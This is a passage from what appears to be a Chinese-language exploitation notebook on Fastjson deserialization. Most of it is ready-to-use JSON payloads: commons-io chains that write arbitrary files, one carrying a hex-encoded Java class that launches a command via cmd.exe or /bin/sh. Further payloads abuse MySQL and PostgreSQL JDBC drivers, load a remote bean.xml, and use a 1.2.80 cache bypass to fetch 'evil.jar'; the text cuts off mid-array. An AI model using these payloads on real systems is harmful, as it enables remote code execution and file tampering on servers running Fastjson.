" \"bytes\":" +"%3$s\n" +
" }],\n" +
" \"x\":{\"$ref\":\"$.bOM\"}\n" +
"}";
byte[] bytes = Files.readAllBytes(Paths.get("D:\\flag.txt"));
String content = Base64.getEncoder().encodeToString(bytes);
String path = "D:/1tmp/111.txt";
String string = Arrays.toString(bytes);
String format = String.format(json, content, path, string);
JSON.parse(format);
}
```
### io6 写文件(LockableFileWriter,突破 8kb
浅蓝那条 ognl,以及 xalan + dom4j 组合。后来 GeekCon 上公开了利用 jackson 的 Exception,把 `InputStream` 加进缓存的链:
[https://www.geekcon.top/js/pdfjs/web/viewer.html?file=/doc/ppt/GC24\_SpringBoot%E4%B9%8B%E6%AE%87.pdf](https://www.geekcon.top/js/pdfjs/web/viewer.html?file=/doc/ppt/GC24_SpringBoot%E4%B9%8B%E6%AE%87.pdf)
其中用 `LockableFileWriter` 代替 `FileWriterWithEncoding` 的写法,参考文章这边叫它 io6。相比 io1~io4,文件大小不再卡死在 8kb;而且能自动创建目录,很契合打 SpringBoot 环境。
```json
{
"a": {
"@type": "java.io.InputStream",
"@type": "org.apache.commons.io.input.AutoCloseInputStream",
"in": {
"@type": "org.apache.commons.io.input.TeeInputStream",
"input": {
"@type": "org.apache.commons.io.input.CharSequenceInputStream",
"cs": {
"@type": "java.lang.String"
"${shellcode}",
"charset": "iso-8859-1",
"bufferSize": ${size}
},
"branch": {
"@type": "org.apache.commons.io.output.WriterOutputStream",
"writer": {
"@type": "org.apache.commons.io.output.LockableFileWriter",
"file": "${file2write}",
"charset": "iso-8859-1",
"append": true
},
"charset": "iso-8859-1",
"bufferSize": 1024,
"writeImmediately": true
},
"closeBranch": true
}
},
"b": {
"@type": "java.io.InputStream",
"@type": "org.apache.commons.io.input.ReaderInputStream",
"reader": {
"@type": "org.apache.commons.io.input.XmlStreamReader",
"inputStream": {
"$ref": "$.a"
},
"httpContentType": "text/xml",
"lenient": false,
"defaultEncoding": "iso-8859-1"
},
"charsetName": "iso-8859-1",
"bufferSize": 1024
},
"c": {}
}
```
### io7 写文件(有期望类时套 Currency)
[https://mp.weixin.qq.com/s/7c\_zi5Pv4a69IV0zzJo5Ww](https://mp.weixin.qq.com/s/7c_zi5Pv4a69IV0zzJo5Ww)
GeekCon 2024 上 @jsjcw 师傅分享的 commons-io 写二进制链很精彩,但要多次发包。原文作者调试时结合 BlackHat 2021 那条链的逻辑,拼出了一条能写任意长度内容的链;若反序列化点还带着期望类,就再套一层 `java.util.Currency` 去触发 getter——虽然最终会报错,但不影响文件写入。笔者这边把这种写法记作 io7。
注意:写二进制时 commons-io 最好 > 2.4。`WriterOutputStream` 的构造方法顺序跟版本强相关,2.4 及以前常会先命中带 `CharsetDecoder` 的构造,这时候要写出 iso-8859-1 二进制就比较别扭。
```json
{
"dd":{
"@type":"java.util.Currency",
"val":{
"currency":{
"w":{
"@type":"java.lang.AutoCloseable",
"@type":"org.apache.commons.io.input.BOMInputStream",
"delegate":{
"@type": "org.apache.commons.io.input.AutoCloseInputStream",
"in": {
"@type": "org.apache.commons.io.input.TeeInputStream",
"input": {
"@type": "org.apache.commons.io.input.CharSequenceInputStream",
"cs": {
"@type": "java.lang.String"
"\xff",
"charset": "iso-8859-1",
"bufferSize": 1
},
"branch": {
"@type": "org.apache.commons.io.output.WriterOutputStream",
"writer": {
"@type": "org.apache.commons.io.output.LockableFileWriter",
"file": "/tmp/1.jpg",
"encoding": "iso-8859-1",
"charset": "iso-8859-1",
"append": false
},
"charset":"iso-8859-1",
"charsetName":"iso-8859-1",
"bufferSize": 1024,
"writeImmediately": true
},
"closeBranch": true
}
},
"include":true,
"boms":[{
"@type": "org.apache.commons.io.ByteOrderMark",
"charsetName": "iso-8859-1",
"bytes":[0, 0,0]
}]
}
}
}
}
}
```
### ioFinal 写文件(终形态)
前面 io1io7 各有取舍:io1/io2 靠 `XmlStreamReader` 触发、卡 8kbio6 换成 `LockableFileWriter` 突破大小和建目录,但仍要 `XmlStreamReader`;io7 能写任意长度二进制,有期望类时再套 Currency,但 Currency 那条结果一定报错,没回显细节时很难判断是不是 payload 本身写挂了。
ioFinal 相当于把优点收拢一遍,推荐用 java-chains 直接生成:
1、触发改为 `"$ref":"$.bOM"`,直接打到 `BOMInputStream.getBOM`,不再绕 `XmlStreamReader` 构造 2、输入侧用 `CharSequenceReader` + `ReaderInputStream`,内容用 `\x..` + `iso-8859-1` 塞二进制,比 io7 的 `CharSequenceInputStream` 更好控,也少踩一些 commons-io 版本构造差异 3、写出侧继续 `LockableFileWriter`,并可带 `lockDir` 自动建目录;任意长度,不卡 8kb 4、无期望类的 `parse` 点可直接用,不必套 Currency,也就不会「必报错」干扰判断;若点上确实有期望类,再按前文小技巧套一层 Currency 即可
```json
{
"@type":"java.lang.AutoCloseable",
"@type":"org.apache.commons.io.input.BOMInputStream",
"delegate":{
"@type": "org.apache.commons.io.input.AutoCloseInputStream",
"in": {
"@type": "org.apache.commons.io.input.TeeInputStream",
"input": {
"@type": "org.apache.commons.io.input.ReaderInputStream",
"reader": {
"@type": "org.apache.commons.io.input.CharSequenceReader",
"charSequence": {
"@type": "java.lang.String"
"\xca\xfe\xba\xbe\x00\x00\x00\x32\x00\x41\x01\x00\x49\x6f\x72\x67\x2f\x61\x70\x61\x63\x68\x65\x2f\x62\x65\x61\x6e\x75\x74\x69\x6c\x73\x2f\x63\x6f\x79\x6f\x74\x65\x2f\x75\x74\x69\x6c\x2f\x52\x61\x77\x56\x61\x6c\x75\x65\x39\x38\x35\x32\x36\x34\x39\x66\x39\x36\x35\x62\x34\x35\x31\x66\x62\x38\x63\x39\x38\x66\x36\x35\x30\x62\x36\x30\x65\x31\x34\x34\x07\x00\x01\x01\x00\x10\x6a\x61\x76\x61\x2f\x6c\x61\x6e\x67\x2f\x4f\x62\x6a\x65\x63\x74\x07\x00\x03\x01\x00\x04\x62\x61\x73\x65\x01\x00\x12\x4c\x6a\x61\x76\x61\x2f\x6c\x61\x6e\x67\x2f\x53\x74\x72\x69\x6e\x67\x3b\x01\x00\x03\x73\x65\x70\x01\x00\x03\x63\x6d\x64\x01\x00\x06\x3c\x69\x6e\x69\x74\x3e\x01\x00\x03\x28\x29\x56\x01\x00\x13\x6a\x61\x76\x61\x2f\x6c\x61\x6e\x67\x2f\x45\x78\x63\x65\x70\x74\x69\x6f\x6e\x07\x00\x0b\x0c\x00\x09\x00\x0a\x0a\x00\x04\x00\x0d\x01\x00\x07\x6f\x73\x2e\x6e\x61\x6d\x65\x08\x00\x0f\x01\x00\x10\x6a\x61\x76\x61\x2f\x6c\x61\x6e\x67\x2f\x53\x79\x73\x74\x65\x6d\x07\x00\x11\x01\x00\x0b\x67\x65\x74\x50\x72\x6f\x70\x65\x72\x74\x79\x01\x00\x26\x28\x4c\x6a\x61\x76\x61\x2f\x6c\x61\x6e\x67\x2f\x53\x74\x72\x69\x6e\x67\x3b\x29\x4c\x6a\x61\x76\x61\x2f\x6c\x61\x6e\x67\x2f\x53\x74\x72\x69\x6e\x67\x3b\x0c\x00\x13\x00\x14\x0a\x00\x12\x00\x15\x01\x00\x10\x6a\x61\x76\x61\x2f\x6c\x61\x6e\x67\x2f\x53\x74\x72\x69\x6e\x67\x07\x00\x17\x01\x00\x0b\x74\x6f\x4c\x6f\x77\x65\x72\x43\x61\x73\x65\x01\x00\x14\x28\x29\x4c\x6a\x61\x76\x61\x2f\x6c\x61\x6e\x67\x2f\x53\x74\x72\x69\x6e\x67\x3b\x0c\x00\x19\x00\x1a\x0a\x00\x18\x00\x1b\x01\x00\x03\x77\x69\x6e\x08\x00\x1d\x01\x00\x08\x63\x6f\x6e\x74\x61\x69\x6e\x73\x01\x00\x1b\x28\x4c\x6a\x61\x76\x61\x2f\x6c\x61\x6e\x67\x2f\x43\x68\x61\x72\x53\x65\x71\x75\x65\x6e\x63\x65\x3b\x29\x5a\x0c\x00\x1f\x00\x20\x0a\x00\x18\x00\x21\x01\x00\x07\x63\x6d\x64\x2e\x65\x78\x65\x08\x00\x23\x0c\x00\x05\x00\x06\x09\x00\x02\x00\x25\x01\x00\x02\x2f\x63\x08\x00\x27\x0c\x00\x07\x00\x06\x09\x00\x02\x00\x29\x01\x00\x07\x2f\x62\x69\x6e\x2f\x73\x68\x08\x00\x2b\x01\x00\x02\x2d\x63\x08\x00\x2d\x0c\x00\x08\x00\x06\x09\x00\x02\x00\x2f\x01\x00\x18\x6a\x61\x76\x61\x2f\x6c\x61\x6e\x67\x2f\x50\x72\x6f\x63\x65\x73\x73\x42\x75\x69\x6c\x64\x65\x72\x07\x00\x31\x01\x00\x16\x28\x5b\x4c\x6a\x61\x76\x61\x2f\x6c\x61\x6e\x67\x2f\x53\x74\x72\x69\x6e\x67\x3b\x29\x56\x0c\x00\x09\x00\x33\x0a\x00\x32\x00\x34\x01\x00\x05\x73\x74\x61\x72\x74\x01\x00\x15\x28\x29\x4c\x6a\x61\x76\x61\x2f\x6c\x61\x6e\x67\x2f\x50\x72\x6f\x63\x65\x73\x73\x3b\x0c\x00\x36\x00\x37\x0a\x00\x32\x00\x38\x01\x00\x08\x3c\x63\x6c\x69\x6e\x69\x74\x3e\x01\x00\x04\x63\x61\x6c\x63\x08\x00\x3b\x0a\x00\x02\x00\x0d\x01\x00\x04\x43\x6f\x64\x65\x01\x00\x0d\x53\x74\x61\x63\x6b\x4d\x61\x70\x54\x61\x62\x6c\x65\x0a\x00\x0c\x00\x0d\x00\x21\x00\x02\x00\x0c\x00\x00\x00\x03\x00\x09\x00\x05\x00\x06\x00\x00\x00\x09\x00\x07\x00\x06\x00\x00\x00\x09\x00\x08\x00\x06\x00\x00\x00\x02\x00\x01\x00\x09\x00\x0a\x00\x01\x00\x3e\x00\x00\x00\x84\x00\x04\x00\x02\x00\x00\x00\x53\x2a\xb7\x00\x40\x12\x10\xb8\x00\x16\xb6\x00\x1c\x12\x1e\xb6\x00\x22\x99\x00\x10\x12\x24\xb3\x00\x26\x12\x28\xb3\x00\x2a\xa7\x00\x0d\x12\x2c\xb3\x00\x26\x12\x2e\xb3\x00\x2a\x06\xbd\x00\x18\x59\x03\xb2\x00\x26\x53\x59\x04\xb2\x00\x2a\x53\x59\x05\xb2\x00\x30\x53\x4c\xbb\x00\x32\x59\x2b\xb7\x00\x35\xb6\x00\x39\x57\xa7\x00\x04\x4c\xb1\x00\x01\x00\x04\x00\x4e\x00\x51\x00\x0c\x00\x01\x00\x3f\x00\x00\x00\x17\x00\x04\xff\x00\x21\x00\x01\x07\x00\x02\x00\x00\x09\x65\x07\x00\x0c\xfc\x00\x00\x07\x00\x04\x00\x08\x00\x3a\x00\x0a\x00\x01\x00\x3e\x00\x00\x00\x1a\x00\x02\x00\x00\x00\x00\x00\x0e\x12\x3c\xb3\x00\x30\xbb\x00\x02\x59\xb7\x00\x3d\x57\xb1\x00\x00\x00\x00\x00\x00",
},
"encoder": "iso-8859-1",
"charset": "iso-8859-1",
"charsetName": "iso-8859-1",
"bufferSize": 1
},
"branch": {
"@type": "org.apache.commons.io.output.WriterOutputStream",
"writer": {
"@type": "org.apache.commons.io.output.LockableFileWriter",
"file": "D:/1tmp/111.txt",
"charset": "iso-8859-1",
"encoding": "iso-8859-1",
"lockDir": "/tmp/test/",
"append": false
},
"charset":"iso-8859-1",
"charsetName":"iso-8859-1",
"bufferSize": 1024,
"writeImmediately": true
},
"closeBranch": true
}
},
"include":true,
"boms":[{
"@type": "org.apache.commons.io.ByteOrderMark",
"charsetName": "iso-8859-1",
"bytes":[0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0]
}],
"x":{"$ref":"$.bOM"}
}
```
## MysqlJdbc
关键类分析:
[mysql驱动协议之loadbalance和replication-CSDN博客](https://blog.csdn.net/weixin_33754065/article/details/92072857)
### 出网
5.1.1 ~ 5.1.48
```json
{
"x1": {
"@type": "java.lang.AutoCloseable",
"@type": "com.mysql.jdbc.JDBC4Connection",
"hostToConnectTo": "127.0.0.1",
"portToConnectTo": 3308,
"info": {
"user": "d6e26c4",
"password": "pass",
"statementInterceptors": "com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor",
"autoDeserialize": "true",
"NUM_HOSTS": "1"
},
"databaseToConnectTo": "test",
"url": ""
}
}
```
6.0.2/6.0.3
```json
{
"x1": {
"@type": "java.lang.AutoCloseable",
"@type": "com.mysql.cj.jdbc.ha.LoadBalancedMySQLConnection",
"proxy": {
"connectionString": {
"url": "jdbc:mysql://127.0.0.1:3308/test?user=d6e26c4&autoDeserialize=true&statementInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor"
}
}
}
}
```
<=8.0.19
```json
{
"x1": {
"@type": "java.lang.AutoCloseable",
"@type": "com.mysql.cj.jdbc.ha.ReplicationMySQLConnection",
"proxy": {
"@type": "com.mysql.cj.jdbc.ha.LoadBalancedConnectionProxy",
"connectionUrl": {
"@type": "com.mysql.cj.conf.url.ReplicationConnectionUrl",
"masters": [
{}
],
"slaves": [],
"properties": {
"host": "127.0.0.1",
"port": "3308",
"user": "d6e26c4",
"dbname": "test",
"password": "pass",
"queryInterceptors": "com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor",
"autoDeserialize": "true"
}
}
}
}
}
```
这里看一下 8.0.19 的调用栈:
```
at com.mysql.cj.jdbc.ConnectionImpl.setAutoCommit(ConnectionImpl.java:2005)
................
at com.mysql.cj.jdbc.ha.LoadBalancedConnectionProxy.createConnectionForHost(LoadBalancedConnectionProxy.java:399)
at com.mysql.cj.jdbc.ha.LoadBalancedConnectionProxy.createConnectionForHost(LoadBalancedConnectionProxy.java:446)
at com.mysql.cj.jdbc.ha.RandomBalanceStrategy.pickConnection(RandomBalanceStrategy.java:77)
at com.mysql.cj.jdbc.ha.RandomBalanceStrategy.pickConnection(RandomBalanceStrategy.java:44)
at com.mysql.cj.jdbc.ha.LoadBalancedConnectionProxy.pickNewConnection(LoadBalancedConnectionProxy.java:345)
at com.mysql.cj.jdbc.ha.LoadBalancedConnectionProxy.<init>(LoadBalancedConnectionProxy.java:247)
.....................
at com.alibaba.fastjson.JSON.parse(JSON.java:149)
at vul.MysqlAttack.mysql8(MysqlAttack.java:29)
at vul.Bypass_68.main(Bypass_68.java:10)
```
可以看到是从 `LoadBalancedConnectionProxy` 的构造方法里触发的。
### 不出网(结合写文件)
MySQL 还有不出网利用:先写 pipe 文件,再本地加载。
[https://1diot9.github.io/2025/05/05/mysql-JDBC-%E7%BB%95%E8%BF%87/](https://1diot9.github.io/2025/05/05/mysql-JDBC-绕过/)
5.1.1~5.1.48:
```json
{
"x1": {
"@type": "java.lang.AutoCloseable",
"@type": "com.mysql.jdbc.JDBC4Connection",
"hostToConnectTo": "127.0.0.1",
"portToConnectTo": 3306,
"info": {
"useSSL": "false",
"user": "mysql",
"HOST": "xxx",
"statementInterceptors": "com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor",
"autoDeserialize": "true",
"NUM_HOSTS": "1",
"socketFactory": "com.mysql.jdbc.NamedPipeSocketFactory",
"namedPipePath": "/tmp/mysql.pcap",
"DBNAME": "test"
},
"databaseToConnectTo": "test",
"url": ""
}
}
```
6.0.2/6.0.3:
```json
{
"x1": {
"@type": "java.lang.AutoCloseable",
"@type": "com.mysql.cj.jdbc.ha.LoadBalancedMySQLConnection",
"proxy": {
"connectionString": {
"url": "jdbc:mysql://xxx/test?useSSL=false&autoDeserialize=true&statementInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&user=mysql&socketFactory=com.mysql.cj.core.io.NamedPipeSocketFactory&namedPipePath=/tmp/mysql.pcap"
}
}
}
}
```
<=8.0.19
```json
{
"x1": {
"@type": "java.lang.AutoCloseable",
"@type": "com.mysql.cj.jdbc.ha.ReplicationMySQLConnection",
"proxy": {
"@type": "com.mysql.cj.jdbc.ha.LoadBalancedConnectionProxy",
"connectionUrl": {
"@type": "com.mysql.cj.conf.url.ReplicationConnectionUrl",
"masters": [
{}
],
"slaves": [],
"properties": {
"host": "xxx",
"user": "mysql",
"queryInterceptors": "com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor",
"autoDeserialize": "true",
"socketFactory": "com.mysql.cj.protocol.NamedPipeSocketFactory",
"path": "/tmp/mysql.pcap",
"maxAllowedPacket": "74996390",
"dbname": "test",
"useSSL": "false"
}
}
}
}
}
```
## PostgreSql
可以通过 file / http 协议加载 XML,再配合 `ClassPathXmlApplicationContext`。
9.4.1208 <= org.postgresql:postgresql < 42.2.25
42.3.0 <= org.postgresql:postgresql < 42.3.2
```json
{
"x1":{
"@type": "java.lang.AutoCloseable",
"@type": "org.postgresql.jdbc.PgConnection",
"hostSpecs": [
{
"host": "127.0.0.1",
"port": 2333
}
],
"user": "user",
"database": "test",
"info": {
"socketFactory": "org.springframework.context.support.ClassPathXmlApplicationContext",
"socketFactoryArg": "http://127.0.0.1:8080/bean.xml"
},url: ""
}
}
```
# 1.2.80
## 绕过分析
[漏洞篇 - Fastjson 反序列化](https://changeyourway.github.io/2024/09/18/Java%20%E5%AE%89%E5%85%A8/%E6%BC%8F%E6%B4%9E%E7%AF%87-Fastjson%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96/)
[漏洞篇 - Fastjson 1.2.68 - 1.2.80 利用](https://changeyourway.github.io/2025/08/23/Java%20%E5%AE%89%E5%85%A8/%E6%BC%8F%E6%B4%9E%E7%AF%87-Fastjson%201.2.68-1.2.80%20%E5%88%A9%E7%94%A8/)
把 `Exception` 当期望类,去找子类。
找到子类后,下面这些位置的类型,也可以通过改 JSON 手动塞进缓存,从而继续挖新的可利用类:
●public 构造方法的参数类型(含其子类)
●public 字段类型
●setter 参数类型(含其子类)
所以可以一路往下找,直到碰到能用的构造或 setter。
一般就是用这种方式,把前面 payload 里用过的类重新加回缓存,再继续打。
这里的缓存点和 47 不一样,是 `ParserConfig.getDeserializer` 时的缓存:
![](https://i.im.ge/QMVvJ1m/p2m-cb25fc3154.png)
![](https://i.im.ge/QMVvpHf/p2m-be20e1e821.png)
把类型和反序列化器放进 Map。
`checkAutoType` 里很早就取:
![](https://i.im.ge/QMVvHA1/p2m-5a8c44ef65.png)
而 Exception 类型的反序列化器 `ThrowableDeserializer`,在 80 版本有这么一行:
![](https://i.im.ge/QMVvGX0/p2m-0106518029.png)
这里会解析其他键值对;当 value 和实际字段类型不符时会走 `cast`,于是类里的属性也会进缓存——因为最后同样会调 `config.getDeserializer`,和前面说的一样:
![](https://i.im.ge/QMVv4ZW/p2m-64b9579874.png)
看个例子:
```json
// 第一次发包
{
"@type":"java.lang.Exception",
"@type":"org.codehaus.groovy.control.CompilationFailedException",
"unit":{}
}
// 第二次发包
{
"@type":"org.codehaus.groovy.control.ProcessingUnit",
"@type":"org.codehaus.groovy.tools.javac.JavaStubCompilationUnit",
"config":{
"@type":"org.codehaus.groovy.control.CompilerConfiguration",
"classpathList":"http://127.0.0.1:8090/evil.jar"
}
}
```
这里就是把 `CompilationFailedException` 的 `unit` 字段也加进缓存。一般 `"field": {}` 就行,因为 `{}` 是 JSONObject,肯定会走 `cast`。
## 修复分析
![](https://i.im.ge/QMVvnwr/p2m-b648ce080f.png)
对 Throwable 子类做了判断,把从缓存取出的 clazz 清空。
## jackson+io 读写文件 / 目录
很适合 Spring 环境。
缓存 InputStream
```json
{
{
"@type": "java.lang.Exception",
"@type": "com.fasterxml.jackson.core.exc.InputCoercionException",
"p":{}
},
{
"@type": "com.fasterxml.jackson.core.JsonParser",
"@type": "com.fasterxml.jackson.core.json.UTF8StreamJsonParser",
"in":{}
}
}
```
io 链逐字节读文件 / 目录:
思路和 68 版本 io 读文件一样。
[https://github.com/luelueking/CVE-2022-25845-In-Spring](https://github.com/luelueking/CVE-2022-25845-In-Spring) 脚本
[https://github.com/kezibei/fastjson\_payload/blob/main/web.py](https://github.com/kezibei/fastjson_payload/blob/main/web.py) 出网脚本
```json
{
"a": {
"@type": "java.io.InputStream",
"@type": "org.apache.commons.io.input.BOMInputStream",
"delegate": {
"@type": "org.apache.commons.io.input.BOMInputStream",
"delegate": {
"@type": "org.apache.commons.io.input.ReaderInputStream",
"reader": {
"@type": "jdk.nashorn.api.scripting.URLReader",
"url": "${file}"
},
"charsetName": "UTF-8",
"bufferSize": "1024"
},
"boms": [
{
"charsetName": "UTF-8",
"bytes": ${data}
}
]
},
"boms": [
{
"charsetName": "UTF-8",
"bytes": [1]
}
]
},
"b": {"$ref":"$.a.delegate"}
}
```
io 链写文件:
```json
{
"@type":"java.io.InputStream",
"@type":"org.apache.commons.io.input.BOMInputStream",
"delegate":{
"@type": "org.apache.commons.io.input.AutoCloseInputStream",
"in": {
"@type": "org.apache.commons.io.input.TeeInputStream",
"input": {
"@type": "org.apache.commons.io.input.ReaderInputStream",
"reader": {
"@type": "org.apache.commons.io.input.CharSequenceReader",
"charSequence": {
"@type": "java.lang.String"
"\x66\x6C\x61\x67\x7B\x7B\x7B",
},
"encoder": "iso-8859-1",
"charset": "iso-8859-1",
"charsetName": "iso-8859-1",
"bufferSize": 1
},
"branch": {
"@type": "org.apache.commons.io.output.WriterOutputStream",
"writer": {
"@type": "org.apache.commons.io.output.LockableFileWriter",
"file": "D:/1tmp/111.txt",
"charset": "iso-8859-1",
"encoding": "iso-8859-1",
"lockDir": "/tmp/test/",
"append": false
},
"charset":"iso-8859-1",
"charsetName":"iso-8859-1",
"bufferSize": 1024,
"writeImmediately": true
},
"closeBranch": true
}
},
"include":true,
"boms":[{
"@type": "org.apache.commons.io.ByteOrderMark",
"charsetName": "iso-8859-1",
"bytes":[0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 